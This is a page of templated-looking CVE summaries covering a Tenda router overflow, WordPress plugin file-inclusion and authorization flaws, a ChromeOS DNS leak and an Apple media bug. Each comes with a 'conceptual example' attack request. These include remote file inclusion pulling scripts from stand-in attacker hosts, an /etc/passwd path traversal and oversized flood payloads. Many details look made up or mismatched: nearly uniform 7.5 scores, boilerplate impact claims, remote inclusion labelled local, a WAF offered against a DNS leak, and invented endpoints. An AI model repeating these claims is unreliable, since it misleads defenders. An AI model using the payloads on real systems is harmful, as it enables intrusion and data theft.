Author: Ameeba

  • CVE-2025-25457: Buffer Overflow Vulnerability in Tenda AC10

    Overview

    This report covers the details of CVE-2025-25457, a severe buffer overflow vulnerability found in Tenda AC10 V4.0si_V16.03.10.20. The vulnerability affects users of this product and could potentially lead to system compromise or data leakage if exploited. The severity of the vulnerability and its wide potential impact make it a critical issue that requires immediate attention.

    Vulnerability Summary

    CVE ID: CVE-2025-25457
    Severity: High (7.5 CVSS Score)
    Attack Vector: Network
    Privileges Required: Low
    User Interaction: None
    Impact: System compromise and potential data leakage

    Affected Products

    Product | Affected Versions

    Tenda AC10 | V4.0si_V16.03.10.20

    How the Exploit Works

    The vulnerability resides in the AdvSetMacMtuWan function of the Tenda AC10 firmware. If manipulated, an attacker can induce a buffer overflow via cloneType2, which could allow arbitrary code execution or cause the system to crash. The attack can be initiated remotely over a network, without any user interaction, and requires only low-level privileges to execute.

    Conceptual Example Code

    Below is a conceptual example of how the vulnerability might be exploited:

    POST /AdvSetMacMtuWan HTTP/1.1
    Host: target.example.com
    Content-Type: application/x-www-form-urlencoded
    cloneType2={ "malicious_payload": "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..."}

    In the above example, the attacker sends an excessively long string in the “malicious_payload”, causing a buffer overflow in the AdvSetMacMtuWan function.
    It’s recommended that all users apply the patch provided by the vendor as soon as possible or use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary mitigation measure until the patch can be applied.

  • CVE-2024-13925: Unauthenticated WooCommerce Ajax Endpoint Vulnerability in Klarna Checkout for WooCommerce WordPress Plugin

    Overview

    The cybersecurity community is currently addressing a notable vulnerability traced to the Klarna Checkout for WooCommerce WordPress plugin. Identified as CVE-2024-13925, this vulnerability could potentially compromise systems and leak sensitive data. It can be exploited by attackers to rapidly consume disk space and potentially fill the entire disk, thereby crippling affected systems.

    Vulnerability Summary

    CVE ID: CVE-2024-13925
    Severity: High (7.5 CVSS)
    Attack Vector: Network
    Privileges Required: None
    User Interaction: None
    Impact: System compromise and potential data leakage

    Affected Products

    Product | Affected Versions

    Klarna Checkout for WooCommerce WordPress Plugin | Versions prior to 2.13.5

    How the Exploit Works

    The vulnerability resides in an unauthenticated WooCommerce Ajax endpoint. This flaw allows an attacker to flood the log files with data at the maximum size allowed for a POST parameter per request. By doing so, an attacker can quickly consume all available disk space, effectively causing a denial of service (DoS) attack that could disrupt system functionality.

    Conceptual Example Code

    An attacker might exploit the vulnerability in the following conceptual manner:

    POST /ajax_endpoint HTTP/1.1
    Host: target.example.com
    Content-Length: [maximum size]
    { "log_data": "[massive amount of unnecessary data]" }

    By repeatedly sending such requests, an attacker can quickly fill up disk space, causing service disruption. To mitigate this vulnerability, users are advised to apply the latest patch provided by the vendor or use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as temporary mitigation. Regularly monitoring system logs for any unusual activity can also help in identifying any potential exploit attempts.

  • CVE-2025-1566: DNS Leak Vulnerability in Native System VPN in Google ChromeOS

    Overview

    This report explores the DNS Leak vulnerability, labeled as CVE-2025-1566, in Google ChromeOS’s Native System VPN. The vulnerability primarily affects users running the ChromeOS 129.0.6668.36 Dev Channel, and presents a significant security risk due to the potential for data leakage or system compromise.

    Vulnerability Summary

    CVE ID: CVE-2025-1566
    Severity: High (CVSS: 7.5)
    Attack Vector: Network
    Privileges Required: None
    User Interaction: None
    Impact: Expose plaintext DNS queries, potential system compromise or data leakage

    Affected Products

    Product | Affected Versions

    Google ChromeOS Dev Channel | 129.0.6668.36

    How the Exploit Works

    The vulnerability resides in the DNS handling during VPN state transitions in ChromeOS. Under certain conditions, the system fails to properly tunnel DNS traffic, causing DNS queries to leak in plaintext. This can be observed and exploited by network attackers to gain insights into user behavior and network structure, or to carry out more advanced attacks.

    Conceptual Example Code

    While a direct exploitation code is not applicable due to the nature of this vulnerability, an attacker might observe the network traffic like this:

    tcpdump -i eth0 -n port 53

    This command would monitor the network traffic on interface eth0, looking specifically for DNS traffic (port 53). By running such a command, an attacker could potentially identify leaked DNS queries from the vulnerable VPN system.

    Mitigation

    Users are advised to apply the vendor patch once available. As a temporary mitigation, users could employ a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) to monitor and filter DNS traffic. Awareness of this vulnerability and its potential impact is crucial to maintaining system security until a permanent fix is implemented.

  • CVE-2025-28072: Directory Traversal Vulnerability in PHPGurukul Pre-School Enrollment System

    Overview

    A critical directory traversal vulnerability has been identified in PHPGurukul’s Pre-School Enrollment System. This vulnerability, documented as CVE-2025-28072, allows an attacker to gain unauthorized access to sensitive files and directories, potentially leading to system compromise or data leakage. This vulnerability is significant as it impacts educational institutions that rely on this system for their operations.

    Vulnerability Summary

    CVE ID: CVE-2025-28072
    Severity: High (7.5 CVSS Score)
    Attack Vector: Network
    Privileges Required: None
    User Interaction: None
    Impact: Potential system compromise or data leakage

    Affected Products

    Product | Affected Versions

    PHPGurukul Pre-School Enrollment System | All versions prior to the patch

    How the Exploit Works

    An attacker can exploit this vulnerability by sending a specially crafted HTTP request containing relative path sequences to the ‘manage-teachers.php’ endpoint. The application fails to validate these sequences, allowing the attacker to traverse directories, potentially gaining access to sensitive files and system data.

    Conceptual Example Code

    The following is a conceptual example of how this vulnerability might be exploited:

    GET /manage-teachers.php?file=../../../etc/passwd HTTP/1.1
    Host: vulnerable-school.com

    In this example, the attacker is attempting to access the ‘/etc/passwd’ file, which contains user account information. The ‘../’ sequences allow the attacker to move up in the directory structure, potentially accessing unauthorized files.

    Mitigation Guidance

    In order to mitigate this vulnerability, it is recommended to apply the vendor-provided patch as soon as it becomes available. In the meantime, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used to block or alert on any suspicious directory traversal attempts. Additionally, input validation controls should be implemented to ensure that file paths containing relative path sequences are properly sanitized.

  • CVE-2025-31200: Critical Memory Corruption Vulnerability in Apple Devices

    Overview

    This report discusses the critical vulnerability CVE-2025-31200, a memory corruption issue that affects Apple devices. This vulnerability is significant because it can potentially lead to system compromise or data leakage. It has also been reported that this vulnerability has been exploited in highly sophisticated attacks targeting specific individuals on iOS.

    Vulnerability Summary

    CVE ID: CVE-2025-31200
    Severity: High (CVSS 7.5)
    Attack Vector: Network
    Privileges Required: None
    User Interaction: Required
    Impact: Potential system compromise or data leakage

    Affected Products

    Product | Affected Versions

    tvOS | 18.4.1
    visionOS | 2.4.1
    iOS | iOS 18.4.1
    iPadOS | 18.4.1
    macOS Sequoia | 15.4.1

    How the Exploit Works

    The exploit takes advantage of a memory corruption issue in the processing of an audio stream in a maliciously crafted media file. This can potentially lead to arbitrary code execution. The attacker needs to trick the target into processing the malicious media file, for instance, by embedding it into a webpage or sending it via email.

    Conceptual Example Code

    Here’s a conceptual example of how the vulnerability might be exploited. Note that this is not actual exploit code, but a simplified representation to illustrate the attack.

    GET /malicious_media_file.m4a HTTP/1.1
    Host: attacker.example.com
    User-Agent: VLC/3.0.8 LibVLC/3.0.8
    Accept: */*
    Referer: http://attacker.example.com/malicious_website.html

    In the above example, the target plays the malicious media file hosted on the attacker’s server using a vulnerable version of an audio player. Once the file is processed, the exploit is triggered, leading to potential system compromise or data leakage.

  • CVE-2025-39592: PHP Remote File Inclusion Vulnerability in WP Shuffle Subscribe to Unlock Lite

    Overview

    The vulnerability CVE-2025-39592 is a major security concern that affects the WP Shuffle Subscribe to Unlock Lite plugin. It allows for an improper control of filename for Include/Require Statement in PHP Program, leading to a PHP Remote File Inclusion. This vulnerability provides potential attackers the means to compromise a system and possibly extract sensitive data.

    Vulnerability Summary

    CVE ID: CVE-2025-39592
    Severity: High (7.5 CVSS)
    Attack Vector: Network
    Privileges Required: None
    User Interaction: None
    Impact: Potential system compromise and data leakage

    Affected Products

    Product | Affected Versions

    WP Shuffle Subscribe to Unlock Lite | n/a – 1.3.0

    How the Exploit Works

    The PHP Remote File Inclusion vulnerability occurs when an application’s control mechanisms fail to properly sanitize input for file inclusion calls to ‘include()’ or ‘require()’. This enables an attacker to manipulate the input and inject pathnames that can lead to the inclusion of remote files hosted on a different server. This could allow the attacker to execute arbitrary code on the affected system.

    Conceptual Example Code

    In the context of a web-based PHP application, the exploit may be initiated using a simple HTTP GET request that includes a manipulated query parameter, which would be used to include a malicious file from an external source.

    GET /index.php?page=http://malicious-website.com/malicious-code.txt HTTP/1.1
    Host: vulnerable-website.com

    In this example, the ‘page’ parameter is manipulated to include a malicious PHP script hosted on an external server. This script will be executed in the context of the vulnerable application, potentially leading to a complete system compromise.

  • CVE-2025-39584: Critical PHP Remote File Inclusion Vulnerability in Themewinter Eventin

    Overview

    The vulnerability identified as CVE-2025-39584 is a critical security flaw that exploits the improper control of filename for the Include/Require statement in PHP programs. It particularly affects the Themewinter Eventin, potentially compromising the system or leading to data leakage. Hence, it is crucial for organizations and users running affected versions of Eventin to take immediate steps to mitigate this vulnerability.

    Vulnerability Summary

    CVE ID: CVE-2025-39584
    Severity: High (CVSS 7.5)
    Attack Vector: Network
    Privileges Required: None
    User Interaction: None
    Impact: System compromise, potential data leakage

    Affected Products

    Product | Affected Versions

    Themewinter Eventin | Up to 4.0.25

    How the Exploit Works

    The exploit works by taking advantage of the improper control of filename for Include/Require statement in PHP programs within Themewinter Eventin. This allows an attacker to include a file from remote servers, leading to PHP Local File Inclusion. Consequently, the attacker can execute arbitrary code, potentially compromising the system, or leading to data leakage.

    Conceptual Example Code

    Here’s a conceptual example of how the vulnerability might be exploited. This example represents a HTTP POST request with a malicious payload.

    POST /vulnerable/endpoint HTTP/1.1
    Host: target.example.com
    Content-Type: application/json
    { "include": "http://malicious.example.com/evil-script.php" }

    In this example, the `include` statement is used to call a malicious PHP file (`evil-script.php`) from a remote server (`malicious.example.com`). This could lead to the execution of arbitrary code on the victim’s server.

    Mitigation

    To mitigate this vulnerability, users are advised to apply the vendor patch immediately. In the absence of a patch, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation. Regular security audits and code reviews can also help in identifying and rectifying such vulnerabilities in time.

  • CVE-2025-3698: Interface Exposure Vulnerability in Mobile Application Risks Information Leakage

    Overview

    The CVE-2025-3698 vulnerability exposes an interface in the com.transsion.carlcare mobile application, leading to a potential risk of information leakage. This security flaw affects all users of the said mobile application and poses a significant threat to the integrity and confidentiality of user data. It is crucial to address this vulnerability due to its high severity score and the potential for system compromise or data leakage.

    Vulnerability Summary

    CVE ID: CVE-2025-3698
    Severity: High (CVSS:7.5)
    Attack Vector: Network
    Privileges Required: Low
    User Interaction: Required
    Impact: Potential system compromise and data leakage

    Affected Products

    Product | Affected Versions

    com.transsion.carlcare Mobile Application | All versions prior to vendor patch

    How the Exploit Works

    The exploit takes advantage of the exposed interface in the mobile application by sending specially crafted malicious requests. These requests can bypass standard security measures and access sensitive information, leading to data leakage. Moreover, if the accessed information includes system-level data, it could potentially lead to system compromise.

    Conceptual Example Code

    Consider the following conceptual example of how this vulnerability might be exploited:

    POST /exposed_interface_endpoint HTTP/1.1
    Host: target.example.com
    Content-Type: application/json
    { "malicious_payload": "..." }

    In this example, an attacker sends a POST request to the exposed interface endpoint with a malicious payload. The server, failing to properly validate and sanitize the request, processes the malicious payload leading to data leakage or possibly system compromise.

    Recommendations for Mitigation

    Users are recommended to apply the vendor-provided patch to fix this vulnerability. In case the patch is not immediately available or applicable, users can temporarily mitigate the risk by using Web Application Firewalls (WAFs) or Intrusion Detection Systems (IDS) to monitor, detect, and block malicious requests targeting the exposed interface. Regularly updating and patching the software will also protect against such vulnerabilities.

  • CVE-2025-27011: PHP Remote File Inclusion Vulnerability in Magepeopleteam Booking and Rental Manager

    Overview

    CVE-2025-27011 is a significant vulnerability that affects the Magepeopleteam Booking and Rental Manager. This flaw leverages an improper control of the filename for Include/Require Statement in the PHP program. This exploitation can potentially lead to system compromise or data leakage, making it a considerable threat to system administrators and users of the affected software.

    Vulnerability Summary

    CVE ID: CVE-2025-27011
    Severity: High (7.5 CVSS score)
    Attack Vector: Network
    Privileges Required: None
    User Interaction: None
    Impact: Potential system compromise or data leakage

    Affected Products

    Product | Affected Versions

    Magepeopleteam Booking and Rental Manager | n/a through 2.2.8

    How the Exploit Works

    The exploit works by allowing an attacker to control the filename in a PHP include/require statement. This is done through a remote file inclusion vulnerability, allowing an attacker to execute arbitrary PHP code. The attacker can manipulate the input to these statements to reference a file of their choosing, often on a remote system under their control. This could result in the execution of arbitrary code, leading to unauthorized access, data leakage, or even a system compromise.

    Conceptual Example Code

    This conceptual example demonstrates how the vulnerability might be exploited. The attacker sends a POST request with a malicious payload to a vulnerable endpoint.

    POST /vulnerable/endpoint HTTP/1.1
    Host: target.example.com
    Content-Type: application/json
    { "malicious_payload": "http://attacker.com/malicious_script.php" }

    In this example, the “malicious_payload” would cause the server to include and execute the PHP code located at the specified URL, potentially leading to a system compromise.

  • CVE-2025-27008: Missing Authorization Vulnerability in Unlimited Timeline

    Overview

    The cybersecurity industry has identified a high-severity vulnerability, CVE-2025-27008, which affects NotFound Unlimited Timeline. This Missing Authorization vulnerability has the potential to compromise systems or lead to data leakage. Given the widespread usage of Unlimited Timeline, the discovery of this vulnerability is significant and warrants immediate attention.

    Vulnerability Summary

    CVE ID: CVE-2025-27008
    Severity: High (7.5 CVSS Score)
    Attack Vector: Network
    Privileges Required: None
    User Interaction: None
    Impact: System compromise and data leakage

    Affected Products

    Product | Affected Versions

    NotFound Unlimited Timeline | All versions before patch

    How the Exploit Works

    The vulnerability stems from a lack of proper access control list (ACL) constraints in Unlimited Timeline. An attacker can exploit this by sending specially crafted requests to access functionalities that should be restricted. This could allow unauthorized access to sensitive data or even full system control, depending on the data and functionalities exposed.

    Conceptual Example Code

    Here’s a conceptual example of how the vulnerability might be exploited using an HTTP request:

    POST /unprotected_functionality HTTP/1.1
    Host: target.example.com
    Content-Type: application/json
    { "malicious_payload": "..." }

    In this example, the attacker sends a POST request to a functionality that should be protected by ACLs. The “malicious_payload” could be designed to retrieve sensitive data or execute unauthorized commands.

    Mitigation Guidance

    Users of NotFound Unlimited Timeline are advised to apply the vendor’s patch as soon as it is available. In the meantime, or if a patch is not feasible, using a web application firewall (WAF) or intrusion detection system (IDS) could provide temporary mitigation. However, this would not completely eliminate the risk and is only a temporary solution until the patch can be applied.

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